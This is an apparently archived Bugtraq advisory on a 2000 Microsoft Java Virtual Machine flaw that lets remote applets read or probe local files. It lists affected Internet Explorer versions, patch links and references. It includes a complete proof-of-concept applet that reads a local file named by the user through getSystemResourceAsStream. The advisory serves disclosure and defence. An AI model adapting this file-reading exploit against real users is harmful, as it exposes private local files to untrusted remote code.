Microsoft Java Virtual Machine getSystemResource Vulnerability

Bugtraq ID:	957
Class:	Access Validation Error
CVE:	CVE-2000-0132 CVE-2000-0162
Remote:	Yes
Local:	Yes
Published:	Jan 31 2000 12:00AM
Updated:	Jul 11 2009 01:56AM
Credit:	Posted to Bugtraq on January 31, 2000 by Hiromitsu Takagi <[email protected]>. Discovered by Dr. Hiromitsu Takagi and Mr. Kensuke Tada.
Vulnerable:	Microsoft Virtual Machine 3000 Series + Microsoft Internet Explorer 5.0 for Windows NT 4 + Microsoft Internet Explorer 5.0 for Windows 98 + Microsoft Internet Explorer 5.0 for Windows 95 + Microsoft Internet Explorer 5.0 for Windows 2000 Microsoft Virtual Machine 2000 Series + Microsoft Internet Explorer 4.0 for Windows NT 4 + Microsoft Internet Explorer 4.0 for Windows NT 3 + Microsoft Internet Explorer 4.0 for Windows 95 + Microsoft Internet Explorer 4.0
Not Vulnerable:

Microsoft Java Virtual Machine getSystemResource Vulnerability

Microsoft's Java Virtual Machine will allow the reading of local file information by a remote Java application. This can be done two ways:

1: Via the getSystemResourceAsStream() function. The filename must be specified, and must be in certain paths: the JVM 'home' directory, and any directory in the CLASSPATH environment variable. For IE 5 the home directory is the current user's desktop, for IE4 it is C:\ . The specified file can be read.

2: Via the getSystemResource() function. Unlike the first function, this one will accept the ../ string in the pathname, making it possible to access any file on the same drive as the Java installation. However, the file cannot be read, it is only possible to verify the existence or non-existence of a file by this method.

Microsoft Java Virtual Machine getSystemResource Vulnerability

Proof-of-concept demo:
http://java-house.etl.go.jp/~takagi/java/test/microsoft_insecurity/Test.html
This webpage is a demonstration only, and will not read any files other than what you specify in the text box. The Java code is:

import java.awt.*;
import java.awt.event.*;
import java.io.*;
public class Test extends java.applet.Applet {
TextArea outputArea;
TextField filePathnameInputField;

public void init() {
setLayout(new BorderLayout());
outputArea = new TextArea();
add(BorderLayout.CENTER, outputArea);
filePathnameInputField = new TextField();
filePathnameInputField.setText("AUTOEXEC.BAT");
Panel p = new Panel();
p.setLayout(new BorderLayout());
add(BorderLayout.NORTH, p);
p.add(BorderLayout.CENTER, filePathnameInputField);
Button actionButton = new Button("Read It!");
p.add(BorderLayout.EAST, actionButton);
actionButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
new ActionThread().start();
}
});
}
class ActionThread extends Thread {
public void run() {
try {
String filePathname = filePathnameInputField.getText();
// InputStream is = getClass().getResourceAsStream(filePathname);
InputStream is = ClassLoader.getSystemResourceAsStream(filePathname);
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuffer buf = new StringBuffer();
while (true) {
String line = br.readLine();
if (line == null) break;
buf.append(line).append("\n");
}
outputArea.setText(new String(buf));
} catch (Exception e) {
outputArea.setText(e.toString());
}
}
}
}

Microsoft Java Virtual Machine getSystemResource Vulnerability

Solution:
Microsoft has released patches for this issue. To determine what buildof the Java VM you have, use the jview utility. The patches are available at:

2000 series builds: http://www.microsoft.com/java/vm/dl_vmsp2.htm
3100 series builds: http://www.microsoft.com/java/vm/dl_vm32.htm
3200 series builds: http://www.microsoft.com/java/vm/dl_vm40.htm

Microsoft Java Virtual Machine getSystemResource Vulnerability

References:

• [JavaHouse-Brewers:30411] Re: Warning: Yet Another Security Hole of `Microsoft V (Java House Mailing List)
  
• Frequently Asked Questions: Microsoft Security Bulletin MS00-011 (Microsoft)
  
• Q253562: FIX: Untrusted Code Can Access Files on End-User Systems (Microsoft)
  
• Re-Warning: Yet Another Security Hole of 'Microsoft VM for Java' (Java House Mailing List)